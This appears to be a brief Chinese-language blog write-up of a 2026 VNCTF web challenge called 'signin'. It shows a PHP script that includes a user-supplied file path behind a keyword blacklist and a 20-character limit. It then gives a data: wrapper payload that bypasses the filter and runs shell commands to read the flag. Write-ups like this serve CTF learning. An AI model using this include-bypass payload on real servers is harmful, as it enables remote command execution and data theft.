2026vnctf


web

signin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


<?php
highlight_file(__FILE__);

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

$file = $_GET['file'];

foreach ($blacklist as $banned) {
    if (strpos($file, $banned) !== false) {
        die("这个是不允许的哦~");
    }
}

if (isset($file) && strlen($file) <= 20){
    include $file;
};

绕过技巧: PHP 的 data: 协议允许省略媒体类型(默认为 text/plain),写法 data:, 不包含任何黑名单字符,且长度极短。

1
data:,<?=`$_GET[1]`;&1=cat /f*

image-20260131101118234

渗透测试

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计